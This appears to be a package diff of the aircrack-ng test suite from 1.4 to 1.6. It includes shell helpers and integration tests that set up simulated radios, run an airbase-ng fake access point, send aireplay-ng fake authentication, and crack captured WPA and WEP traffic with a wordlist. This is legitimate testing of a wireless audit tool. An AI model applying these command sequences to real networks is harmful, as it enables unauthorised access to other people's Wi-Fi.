+		  "\xCB\x34\x64\x0B\x3D\x12\x02\x62\xFE\xDC\xA8\x8E\x38\xCE\x36\x3A"
+		  "\xE8\x4D\xF0\xED\x71\x59\xE5\xED\xA4\xB1\x12\xEB\xD5\x83\xA6\xC9"
+		  "\x5C\x76\x98\x8D\x1B\xCB\x3C\x31\xF5\x10\xFE\x40\xCC\x83\x27\xE6"
+		  "\xDF\xB9\xE1\x84\xFC\xC3\xCC\x8D\x7A\xA3\xE5\x61\x56\x92\xAD\x7C"
+		  "\xA2\x62\x46\x6F\x5C\xA0\x16\xC4\x52\xDB\xF6\x75\xE1\x35\x22\x91"
+		  "\xE8\x81\x87\x13\xC1\xC1\x0A\xB0\xBE\x20\xE7\xF5\x55\x55\x0C\xF3"
+		  "\x99\x67\x53\xAF\x35\x15\xA9\x48\x72\xD8\xEB\x4A\xCF\x5B\xF5\xB6"
+		  "\xBC\x30\x24\xCB\xFD\x6C\x5C\xF5\x62\x5C\xFD\xA5\x65\xD9\xD4\xD7";
+
+	unsigned char buffer[BLEN];
+	memcpy(&buffer, &input, BLEN);
+
+	encrypt_wep(buffer, BLEN, key, KLEN);
+	error += test(buffer, expected, BLEN, argv[0]);
+
+	decrypt_wep(buffer, BLEN, key, KLEN);
+	error += test(buffer, input, BLEN, argv[0]);
+
+	return error;
 }
-

aircrack-ng-1.6.tar.gz/test/int-test-common.sh Added

@@ -0,0 +1,431 @@
+#!/bin/sh
+
+cleanup() {
+	echo "Cleanup"
+	kill_wpa_supplicant
+	kill_hostapd
+	# takes care of killing tcpdump if necessary
+	clean_tcpdump
+	unload_module
+	restore_regdomain
+}
+
+screen_cleanup() {
+	SCREEN_NAME=capture
+	[ -n "$1" ] && SCREEN_NAME="$1"
+	screen -S ${SCREEN_NAME} -p 0 -X quit
+	screen -wipe
+}
+
+check_arg_is_number() {
+	if [ -z "$1" ]; then
+		echo "${2}() requires an argument, and it must be a number"
+		exit 1
+	fi
+	if [ -z "$(echo $1 | ${GREP} -E '^[0-9]{1,}$')" ]; then
+		echo "${2}() expects the a number, got $1"
+		exit 1
+	fi
+}
+
+MODULE_LOADED=0
+load_module() {
+	check_arg_is_number "$1" 'load_module'
+
+	if [ -z "$(lsmod | ${GREP} mac80211_hwsim)" ]; then
+		echo "Loading mac80211_hwsim with $1 radios"
+		modprobe mac80211_hwsim radios=$1 2>&1 >/dev/null
+		if [ $? -ne 0 ]; then
+			# XXX: It can fail if inside a container too
+			echo "Failed inserting module, skipping"
+			exit 1
+		fi
+		MODULE_LOADED=1
+	else
+		echo 'mac80211_hwsim already loaded, unload it first!'
+		exit 1
+	fi
+}
+
+check_radios_present() {
+	check_arg_is_number "$1" 'check_radios_present'
+
+	AMOUNT_RADIOS=$("${abs_builddir}/../scripts/airmon-ng" | ${GREP} hwsim | wc -l)
+	if [ ${AMOUNT_RADIOS} -ne $1 ]; then
+		echo "Expected $1 radios, got ${AMOUNT_RADIOS}, hwsim may be in use by something else, aborting"
+		exit 1
+	fi
+
+	echo "Correct amount of radios present: $1"
+}
+
+airmon_ng_check() {
+	# Display output of "airmon-ng check" if there are interfering process
+	# Can help in detecting if previous tests didn't clean up
+	# Or, if running the first test, check if there are interfering processes
+	if [ $("${abs_builddir}/../scripts/airmon-ng" check | grep "PID" | wc -l) -eq 1 ]; then
+		"${abs_builddir}/../scripts/airmon-ng" check
+	fi
+}
+
+unload_module() {
+	if [ ${MODULE_LOADED} -eq 1 ]; then
+		echo 'Unloading mac80211_hwsim'
+		rmmod mac80211_hwsim 2>/dev/null >/dev/null
+	fi
+}
+
+is_pid_running() {
+	check_arg_is_number "$1" 'is_pid_running'
+
+	[ ! -f "/proc/${1}/status" ] && return 0
+
+	return 1
+}
+
+check_tools_compiled() {
+	echo 'Checking required Aircrack-ng tools are compiled'
+
+	# Check that all the tools are compiled
+	if [ ! -f "${abs_builddir}/../scripts/airmon-ng" ]; then
+		echo 'Tools are unlikely to be compiled - airmon-ng is not present'
+		exit 1
+	fi
+
+	# Linux only, we'll have to adapt if we ever support Windows officially
+	if [ ! -f "${abs_builddir}/../aircrack-ng" ] \
+		|| [ ! -f "${abs_builddir}/../aircrack-ng" ] \
+		|| [ ! -f "${abs_builddir}/../airodump-ng" ] \
+		|| [ ! -f "${abs_builddir}/../aireplay-ng" ]; then
+		echo 'Aircrack-ng tools not compiled'
+		exit 1
+	fi
+}
+
+check_root() {
+	if [ $(id -u) -ne 0 ]; then
+		echo 'Not root, skipping'
+		exit 77
+	fi
+
+	echo 'User is root'
+}
+
+is_tool_present() {
+	if [ -z "$1" ]; then
+		echo 'is_tool_present() requires the name of the tool'
+		exit 1
+	fi
+
+	hash $1 2>&1 >/dev/null
+	if [ $? -ne 0 ]; then
+		echo "$1 is not installed, aborting!"
+		exit 1
+	fi
+	echo "$1 is present"
+}
+
+check_airmon_ng_deps_present() {
+	is_tool_present iw
+	is_tool_present lsusb
+}
+
+get_hwsim_interface_name() {
+	check_arg_is_number "$1" 'get_hwsim_interface_name'
+
+	IFACE=$("${abs_builddir}/../scripts/airmon-ng" 2>/dev/null | ${GREP} hwsim | head -n $1 | tail -n 1 | ${AWK} '{print $2}')
+
+	if [ -z "${IFACE}" ]; then
+		echo "Failed getting interface $1"
+		cleanup
+		exit 1
+	fi
+	echo "Interface $1 name: ${IFACE}"
+}
+
+######################## regdomain iw commands ########################
+
+REG_DOMAIN=""
+
+backup_regdomain() {
+	REG_DOMAIN="$(iw reg get | ${GREP} country | ${AWK} -F\: '{print $1}' | ${AWK} '{print $2}')"
+	echo "Current regdomain: ${REG_DOMAIN}"
+}
+
+set_regdomain() {
+	if [ -z "$1" ]; then
+		echo "set_regdomain(): No regdomain given"
+		retun 1
+	fi
+
+	echo "Changing regdomain to $1"
+	iw reg set $1
+}
+
+restore_regdomain() {
+	[ -n "${REG_DOMAIN}" ] && set_regdomain ${REG_DOMAIN}
+}
+
+########################## Channel settings ##########################
+
+FIRST_5GHZ_CHANNEL=""
+
+get_first_5ghz_channel() {
+	if [ -z "$1" ]; then
+		echo 'get_first_5ghz_channel(): missing interface name'
+		return 1
+	fi
+
+	TMP_IFACE_PHY=$(iw dev $1 info | ${GREP} wiphy | ${AWK} '{print $2}')
+
+	if [ -z "${TMP_IFACE_PHY}" ]; then
+		echo "get_first_5ghz_channel(): Interface $1 does not exist or does not have associated PHY"
+		return 1
+	fi
+
+	FIRST_5GHZ_CHANNEL=$(iw phy phy${TMP_IFACE_PHY} info | ${GREP} -E '\* 5[0-9]{3} MHz' | ${GREP} -v -E '(no IR|disabled)' | ${AWK} -F\[ '{ print $2}' | ${AWK} -F\] '{print $1}' | head -n 1)
+
+	if [ -z "${FIRST_5GHZ_CHANNEL}" ]; then
+		echo "get_first_5ghz_channel(): No 5GHz channel available"
+		return 1
+	fi
+
+	if [ $(echo "${FIRST_5GHZ_CHANNEL}" | ${GREP} -E '^[1-9][0-9]{1,2}$' | wc -l) -ne 1 ]; then
+		echo "get_first_5ghz_channel(): Failure to get channel: ${FIRST_5GHZ_CHANNEL}"
+		return 1
+	fi
+	echo "First 5GHz channel: ${FIRST_5GHZ_CHANNEL}"
+
+	return 0
+}
+
+set_interface_channel() {
+	if [ -z "$1" ]; then
+		echo 'set_monitor_mode(): missing interface name'
+		return 1
+	fi
+
+	check_arg_is_number "$2" 'set_interface_channel'
+
+	echo "Setting $1 on channel $2"
+	ip link set $1 up
+	iw dev $1 set channel $2
+	if [ $? -eq 1 ]; then
+		echo "iw dev $1 set channel $2 failed, exiting"
+		return 1
+	fi
+	return 0
+}
+
+set_monitor_mode() {
+	if [ -z "$1" ]; then
+		echo 'set_monitor_mode(): missing interface name'
+		return 1
+	fi
+
+	echo "Putting $1 in monitor mode"
+	ip link set $1 down
+	iw dev $1 set monitor none
+	if [ $? -eq 1 ]; then
+		echo "iw dev $1 set monitor none failed, exiting"
+		return 1
+	fi
+	ip link set $1 up
+
+	# Check card is in monitor mode
+	IFACE_MODE=$(iw dev $1 info | grep type | awk '{print $2}')
+	if [ "${IFACE_MODE}" != 'monitor' ]; then
+		echo "Failed to set $1 in monitor mode: ${IFACE_MODE}"
+		return 1
+	fi
+
+	return 0
+}
+
+########################## tcpdump ##########################
+
+TCPDUMP_PID=""
+TEMP_TCPDUMP_PCAP=$(mktemp -u)
+TCPDUMP_IFACE=""
+run_tcpdump() {
+	ADDL_TCPDUMP_PARAMS="$1"
+
+	if [ -z "{TCPDUMP_IFACE}" ]; then
+		echo 'Missing capture interface'
+		cleanup
+		exit 1
+	fi
+
+	if [ -n "$1" ]; then
+		echo "Additional tcpdump parameters: $1"
+		cleanup
+		exit 1
+	fi
+
+	# Run tcpdump
+	echo "Starting tcpdump on ${TCPDUMP_IFACE}"
+	tcpdump -Z root -i ${TCPDUMP_IFACE} -w ${TEMP_TCPDUMP_PCAP} -U ${ADDL_TCPDUMP_PARAMS} & 2>&1 >/dev/null
+
+	# Get PID
+	TCPDUMP_PID=$!
+	sleep 1
+	is_pid_running ${TCPDUMP_PID}
+	if [ $? -eq 0 ]; then
+		echo 'Failed starting tcpdump'
+		cleanup
+		return 0
+	fi
+
+	# Display PID
+	echo "tcpdump PID: ${TCPDUMP_PID}"
+
+	return 1
+}
+
+kill_tcpdump() {
+	if [ -n "${TCPDUMP_PID}" ] && [ -f "/proc/${TCPDUMP_PID}/status" ]; then
+
+		echo "Killing tcpdump PID ${TCPDUMP_PID}"
+
+		# If there is nothing, just kill it slowly
+		if [ -z "$1" ]; then
+			# Kill tcpdump (SIGTERM)
+			kill -15 ${TCPDUMP_PID}
+
+			# Wait a few seconds so it exits gracefully and
+			# writes the frames to the file
+			sleep 3
+		fi
+
+		# Kill and cleanup
+		kill -9 ${TCPDUMP_PID} 2>/dev/null
+		TCPDUMP_PID=""
+	fi
+}
+
+clean_tcpdump() {
+	kill_tcpdump nowait
+
+	if [ -n "${TEMP_TCPDUMP_PCAP}" ] && [ -f ${TEMP_TCPDUMP_PCAP} ]; then
+		rm -f ${TEMP_TCPDUMP_PCAP}
+		TEMP_TCPDUMP_PCAP=""
+	fi
+}
+
+########################## HostAPd ##########################
+
+HOSTAPD_PID_FILE=$(mktemp -u)
+
+# PID is more of a convenience
+HOSTAPD_PID=""
+TEMP_HOSTAPD_CONF_FILE=$(mktemp -u)
+run_hostapd() {
+	# Check configuration file is present
+	if [ -z "$1" ]; then
+		echo 'HostAPd requires a configuration file'
+		cleanup
+		exit 1
+	fi
+
+	if [ ! -f "$1" ]; then
+		echo "HostAPd configuration file $1 does not exist"
+		cleanup
+		exit 1
+	fi
+
+	TEMP_HOSTAPD_CONF_FILE="$1"
+
+	# Run HostAPd
+	echo "Starting HostAPd with ${TEMP_HOSTAPD_CONF_FILE}"
+	hostapd -P ${HOSTAPD_PID_FILE} -B ${TEMP_HOSTAPD_CONF_FILE} 2>&1
+	if test $? -ne 0; then
+		echo 'Failed starting HostAPd with the following configuration:'
+		cat ${TEMP_HOSTAPD_CONF_FILE}
+		echo '------------'
+		echo 'Running airmon-ng check kill may fix the issue'
+		cleanup
+		return 0
+	fi
+
+	# Get PID
+	sleep 0.5
+	HOSTAPD_PID=$(cat ${HOSTAPD_PID_FILE} 2>/dev/null)
+	echo "HostAPd PID: ${HOSTAPD_PID}"
+
+	return 1
+}
+
+kill_hostapd() {
+	if [ -n "${TEMP_HOSTAPD_CONF_FILE}" ] && [ -f ${HOSTAPD_PID_FILE} ]; then
+
+		# Get HostAPd PID
+		PID_TO_KILL=$(cat ${HOSTAPD_PID_FILE} 2>/dev/null)
+		echo "Killing HostAPd PID ${PID_TO_KILL}"
+
+		# Kill and cleanup
+		kill -9 ${PID_TO_KILL}
+		rm -f ${TEMP_HOSTAPD_CONF_FILE} ${HOSTAPD_PID_FILE}
+		TEMP_HOSTAPD_CONF_FILE=""
+		HOSTAPD_PID=""
+		HOSTAPD_PID_FILE=""
+	fi
+}
+
+########################## WPA supplicant ##########################
+
+WPAS_PID_FILE=$(mktemp -u)
+
+# PID is more of a convenience
+WPAS_PID=""
+TEMP_WPAS_CONF_FILE=$(mktemp -u)
+run_wpa_supplicant() {
+	# Check configuration file is present
+	if [ -z "$1" ] || [ -z "$2" ]; then
+		echo 'WPA_supplicant requires a configuration file and a wifi interface'
+		cleanup
+		exit 1
+	fi
+
+	if [ ! -f "$1" ]; then
+		echo "WPA_supplicant configuration file $1 does not exist"
+		cleanup
+		exit 1
+	fi
+
+	TEMP_WPAS_CONF_FILE="$1"
+
+	# Run WPA supplicant
+	echo "Starting WPA_supplicant with ${TEMP_WPAS_CONF_FILE} on $2"
+	wpa_supplicant -B -Dnl80211 -i $2 -c ${TEMP_WPAS_CONF_FILE} -P ${WPAS_PID_FILE} 2>&1
+	if test $? -ne 0; then
+		echo 'Failed starting WPA supplicant with the following configuration:'
+		cat ${TEMP_WPAS_CONF_FILE}
+		echo '------------'
+		echo 'Running airmon-ng check kill may fix the issue'
+		cleanup
+		exit 1
+	fi
+
+	# Get PID
+	sleep 0.5
+	WPAS_PID=$(cat ${WPAS_PID_FILE} 2>/dev/null)
+	echo "WPA supplicant PID: ${WPAS_PID}"
+}
+
+kill_wpa_supplicant() {
+	if [ -n "${TEMP_WPAS_CONF_FILE}" ] && [ -f ${WPAS_PID_FILE} ]; then
+
+		# Get WPA supplicant PID
+		PID_TO_KILL=$(cat ${WPAS_PID_FILE} 2>/dev/null)
+		echo "Killing WPA supplicant PID ${PID_TO_KILL}"
+
+		# Kill and cleanup
+		kill -9 ${PID_TO_KILL}
+		rm -f ${TEMP_WPAS_CONF_FILE} ${WPAS_PID_FILE}
+		TEMP_WPAS_CONF_FILE=""
+		WPAS_PID=""
+		WPAS_PID_FILE=""
+	fi
+}
+
+check_tools_compiled
\ No newline at end of file

aircrack-ng-1.6.tar.gz/test/pass.txt Added

aircrack-ng-1.4.tar.gz/test/replay.py -> aircrack-ng-1.6.tar.gz/test/replay.py Changed

aircrack-ng-1.6.tar.gz/test/test-airbase-ng-0001.sh Added

@@ -0,0 +1,130 @@
+#!/bin/sh
+# Airbase-ng WPA2 supplicant authentication
+
+if test ! -z "${CI}"; then exit 77; fi
+
+CHANNEL=1
+SSID=thisrocks
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present wpa_supplicant
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	cleanup
+	if [ -n "${AB_PID}" ]; then
+		is_pid_running ${AB_PID}
+		[ $? -eq 1 ] && kill -9 ${AB_PID}
+	fi
+	[ -n "${AB_TEMP}" ] && rm -f ${AB_TEMP}
+	[ -n "${AB_PCAP}" ] && rm -f ${AB_PCAP}
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 2
+
+# Check there are two radios
+check_radios_present 2
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+get_hwsim_interface_name 2
+WI_IFACE2=${IFACE}
+
+
+# Put other interface in monitor mode
+set_monitor_mode ${WI_IFACE2}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE2} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Run airbase-ng in the background
+AB_TEMP=$(mktemp -u)
+"${abs_builddir}/../airbase-ng${EXEEXT}" \
+	-W 1 \
+	-Z 4 \
+	-e "${SSID}" \
+	-F $(mktemp -u) \
+	${WI_IFACE2} \
+	2>&1 >${AB_TEMP} \
+	&
+
+AB_PID=$!
+
+sleep 1
+is_pid_running ${AB_PID}
+if [ $? -eq 0 ]; then
+	echo "Airbase-ng process died"
+	exit 1
+fi
+
+# Grab airbase-ng pcap filename
+AB_PCAP="$(${GREP} 'Created capture file' ${AB_TEMP} | ${AWK} -F\" '{print $2}')"
+
+# Set-up wpa_supplicant
+PSK=password
+ENCRYPT="CCMP"
+cat >> ${TEMP_WPAS_CONF_FILE} << EOF
+network={
+	ssid="${SSID}"
+	psk="${PSK}"
+	proto=RSN
+	key_mgmt=WPA-PSK
+	group=${ENCRYPT}
+	pairwise=${ENCRYPT}
+}
+# Airbase-ng Test 1
+EOF
+
+# Set interface up
+set_interface_channel ${WI_IFACE} ${CHANNEL}
+RET=$?
+
+# Start wpa_supplicant
+run_wpa_supplicant ${TEMP_WPAS_CONF_FILE} ${WI_IFACE}
+if [ $? -eq 1 ] || [ ${RET} -eq 1 ]; then
+	exit 1
+fi
+
+
+# Wait for authentication then kill airbase-ng
+sleep 8
+kill -9 ${AB_PID}
+
+# Check Airbase-ng output
+CLIENT_CONNECT=$(${GREP} Client ${AB_TEMP} | ${GREP} ${ENCRYPT} | wc -l)
+
+if [ ${CLIENT_CONNECT} -eq 0 ]; then
+	echo "Client failed to connect to AP - possibly incorrect encryption"
+	exit 1
+fi
+
+# Crack the capture
+timeout 60 "${abs_builddir}/../aircrack-ng${EXEEXT}" \
+    ${AIRCRACK_NG_ARGS} \
+    -w "${abs_srcdir}/password.lst" \
+    -a 2 \
+    -e "${SSID}" \
+    -q \
+	"${AB_PCAP}" | \
+        ${GREP} "KEY FOUND! \[ ${PSK} \]"
+
+RET=$?
+
+[ ${RET} -eq 1 ] && echo "Failed cracking passphrase"
+
+# Cleanup
+exit ${RET}

aircrack-ng-1.6.tar.gz/test/test-airbase-ng-0002.sh Added

@@ -0,0 +1,138 @@
+#!/bin/sh
+# Airbase-ng WPA supplicant authentication
+
+if test ! -z "${CI}"; then exit 77; fi
+
+CHANNEL=1
+SSID=thisrocks
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present wpa_supplicant
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	cleanup
+	if [ -n "${AB_PID}" ]; then
+		is_pid_running ${AB_PID}
+		[ $? -eq 1 ] && kill -9 ${AB_PID}
+	fi
+	[ -n "${AB_TEMP}" ] && rm -f ${AB_TEMP}
+	[ -n "${AB_PCAP}" ] && rm -f ${AB_PCAP}
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 2
+
+# Check there are two radios
+check_radios_present 2
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+get_hwsim_interface_name 2
+WI_IFACE2=${IFACE}
+
+
+# Put other interface in monitor mode
+set_monitor_mode ${WI_IFACE2}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE2} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Run airbase-ng in the background
+AB_TEMP=$(mktemp -u)
+"${abs_builddir}/../airbase-ng${EXEEXT}" \
+	-W 1 \
+	-z 2 \
+	-e "${SSID}" \
+	-F $(mktemp -u) \
+	${WI_IFACE2} \
+	2>&1 >${AB_TEMP} \
+	&
+
+AB_PID=$!
+
+sleep 1
+is_pid_running ${AB_PID}
+if [ $? -eq 0 ]; then
+	echo "Airbase-ng process died"
+	exit 1
+fi
+
+# Set-up wpa_supplicant
+PSK=password
+TEMP_WPAS_CONF=$(mktemp)
+ENCRYPT="TKIP"
+cat >> ${TEMP_WPAS_CONF_FILE} << EOF
+network={
+	ssid="${SSID}"
+	psk="${PSK}"
+	proto=WPA
+	key_mgmt=WPA-PSK
+	group=${ENCRYPT}
+	pairwise=${ENCRYPT}
+}
+# Airbase-ng Test 2
+EOF
+
+# Set interface up
+set_interface_channel ${WI_IFACE} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Start wpa_supplicant
+run_wpa_supplicant ${TEMP_WPAS_CONF_FILE} ${WI_IFACE}
+
+# Wait for authentication then kill wpa supplicant
+sleep 6
+kill_wpa_supplicant
+
+# wait another 2 secs then kill airbase-ng
+sleep 2
+kill -9 ${AB_PID}
+
+# Check Airbase-ng output
+AB_PCAP="$(${GREP} 'Created capture file' ${AB_TEMP} | ${AWK} -F\" '{print $2}')"
+CLIENT_CONNECT=$(${GREP} Client ${AB_TEMP} | ${GREP} ${ENCRYPT} | wc -l)
+
+# Some cleanup
+rm -f ${AB_TEMP}
+cleanup
+
+if [ ${CLIENT_CONNECT} -eq 0 ]; then
+	echo "Client failed to connect to AP - possibly incorrect encryption"
+	exit 1
+fi
+
+# Crack the capture
+timeout 60 "${abs_builddir}/../aircrack-ng${EXEEXT}" \
+    ${AIRCRACK_NG_ARGS} \
+    -w "${abs_srcdir}/password.lst" \
+    -a 2 \
+    -e "${SSID}" \
+    -q \
+	"${AB_PCAP}" | \
+        ${GREP} "KEY FOUND! \[ ${PSK} \]"
+
+RET=$?
+
+if [ ${RET} -eq 1 ]; then
+    echo "Failed cracking passphrase, PCAP: ${AB_PCAP}"
+else
+    # Cleanup PCAP
+    rm -f ${AB_PCAP}
+fi
+
+# Cleanup
+exit ${RET}

aircrack-ng-1.6.tar.gz/test/test-airbase-ng-0003.sh Added

@@ -0,0 +1,148 @@
+#!/bin/sh
+# Airbase-ng open, hidden SSID and auth with fakeauth (wrong ssid and then correct)
+
+# Temporarily disable the test
+exit 77
+
+if test ! -z "${CI}"; then exit 77; fi
+
+CHANNEL=1
+SSID=thisrocks
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present tcpdump
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	if [ -n "${AB_PID}" ]; then
+		is_pid_running ${AB_PID}
+		[ $? -eq 1 ] && kill -9 ${AB_PID}
+	fi
+	[ -n "${AB_TEMP}" ] && rm -f ${AB_TEMP}
+	cleanup
+}
+
+trap finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 2
+
+# Check there are two radios
+check_radios_present 2
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+get_hwsim_interface_name 2
+WI_IFACE2=${IFACE}
+
+
+# Put other interface in monitor mode
+set_monitor_mode ${WI_IFACE2}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE2} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Run airbase-ng in the background
+AB_TEMP=$(mktemp -u)
+"${abs_builddir}/../airbase-ng${EXEEXT}" \
+	-X \
+	-c ${CHANNEL} \
+	-e "${SSID}" \
+	${WI_IFACE2} \
+	2>&1 >${AB_TEMP} \
+	&
+
+AB_PID=$!
+
+sleep 1
+is_pid_running ${AB_PID}
+if [ $? -eq 0 ]; then
+	echo "Airbase-ng process died"
+	exit 1
+fi
+
+# Get airbase-ng PCAP
+AB_PCAP="$(${GREP} 'Created capture file' ${AB_TEMP} | ${AWK} -F\" '{print $2}')"
+
+# Set interface in monitor mode
+set_monitor_mode ${WI_IFACE}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Capture a beacon to check if it contains an SSID
+BEACON="$(tcpdump -c 1 -i ${WI_IFACE} 2>/dev/null | grep Beacon)"
+
+
+if [ -z "${BEACON}" ]; then
+	echo "Did not receive a beacon"
+	exit 1
+fi
+echo "${BEACON}"
+
+if [ $(echo "${BEACON}" | grep "Beacon (${SSID})" | wc -l) -eq 1 ]; then
+	echo "SSID is not hidden"
+	exit 1
+fi
+
+# Start aireplay-ng fakeauth with wrong ssid
+"${abs_builddir}/../aireplay-ng${EXEEXT}" \
+	--fakeauth 0 \
+	--essid "${SSID}asdf" \
+	${WI_IFACE}
+
+if [ $? -eq 1 ]; then
+	# Should have failed
+	echo "Fakeauth succeeded when it should have failed"
+	exit 1
+fi
+
+# Start aireplay-ng fakeauth with correct ssid
+"${abs_builddir}/../aireplay-ng${EXEEXT}" \
+	--fakeauth 0 \
+	--essid "${SSID}asdf" \
+	${WI_IFACE}
+
+if [ $? -eq 0 ]; then
+	echo "Fakeauth failed"
+	exit 1
+fi
+
+# wait another 2 secs for packets to be written
+sleep 2
+
+# Check Airbase-ng output
+CLIENT_CONNECT=$(${GREP} Client ${AB_TEMP} | ${GREP} ${ENCRYPT} | wc -l)
+
+if [ ${CLIENT_CONNECT} -eq 0 ]; then
+	echo "Client failed to connect to AP - possibly incorrect encryption"
+	exit 1
+fi
+
+# Crack the capture
+timeout 60 "${abs_builddir}/../aircrack-ng${EXEEXT}" \
+    ${AIRCRACK_NG_ARGS} \
+    -w "${abs_srcdir}/password.lst" \
+    -a 2 \
+    -e "${SSID}" \
+    -q \
+	"${AB_PCAP}" | \
+        ${GREP} "KEY FOUND! \[ ${PSK} \]"
+
+RET=$?
+
+# Display message in case of failure
+[ ${RET} -eq 1 ] && echo "Failed cracking passphrase"
+
+exit ${RET}

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0001.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0001.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0002.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0002.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0003.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0003.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0004.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0004.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0005.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0005.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0006.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0006.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0007.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0007.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0008.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0008.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0009.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0009.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0010.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0010.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0011.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0011.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0012.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0012.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0013.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0013.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0014.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0014.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0015.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0015.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0016.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0016.sh Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0017.sh -> aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0017.sh Changed

aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0018.sh Added

aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0019.sh Added

aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0020.sh Added

@@ -0,0 +1,45 @@
+#!/bin/sh
+# -*- tcl -*-
+# The next line is executed by /bin/sh, but not expect \
+exec ${EXPECT:=expect} "$0" ${1+"$@"}
+
+set abs_builddir $::env(abs_builddir)
+set abs_srcdir $::env(abs_srcdir)
+
+exit -onexit {
+    exp_internal 1
+    exec rm -f pipe.cap
+}
+
+puts -nonewline "Aircrack-ng will tail PCAP files: "
+flush stdout
+
+log_user 0
+
+exec cp ${abs_srcdir}/wep_64_ptw_01.cap pipe.cap
+
+spawn ${abs_builddir}/../aircrack-ng -X pipe.cap
+set tool_spawn_id $spawn_id
+
+set timeout 900
+
+# wait for startup
+expect "Opening pipe.cap"
+
+expect "got 2551 IVs"
+expect "Failed. Next try with 5000 IVs."
+
+exec cat ${abs_srcdir}/wep_64_ptw_02.cap >> pipe.cap
+expect "Failed. Next try with 10000 IVs." { sleep 2 }
+
+exec cat ${abs_srcdir}/wep_64_ptw_03.cap >> pipe.cap
+exec cat ${abs_srcdir}/wep_64_ptw_04.cap >> pipe.cap
+expect "got 10180 IVs"
+expect {
+    "Failed. Next try with 15000 IVs." { puts "OK\n"; exit 0 }
+    eof { puts "FAILED"; exit 1 }
+    timeout { puts "FAILED(timeout)"; exit 2 }
+}
+
+puts "FAILED(exceptional)"
+exit 99

aircrack-ng-1.6.tar.gz/test/test-aircrack-ng-0021.sh Added

aircrack-ng-1.4.tar.gz/test/test-airdecap-ng-0001.sh -> aircrack-ng-1.6.tar.gz/test/test-airdecap-ng-0001.sh Changed

aircrack-ng-1.4.tar.gz/test/test-airdecap-ng-0002.sh -> aircrack-ng-1.6.tar.gz/test/test-airdecap-ng-0002.sh Changed

aircrack-ng-1.4.tar.gz/test/test-airdecap-ng-0003.sh -> aircrack-ng-1.6.tar.gz/test/test-airdecap-ng-0003.sh Changed

aircrack-ng-1.4.tar.gz/test/test-airdecap-ng-0004.sh -> aircrack-ng-1.6.tar.gz/test/test-airdecap-ng-0004.sh Changed

aircrack-ng-1.6.tar.gz/test/test-airdecap-ng-0005.sh Added

aircrack-ng-1.6.tar.gz/test/test-airdecap-ng-0006.sh Added

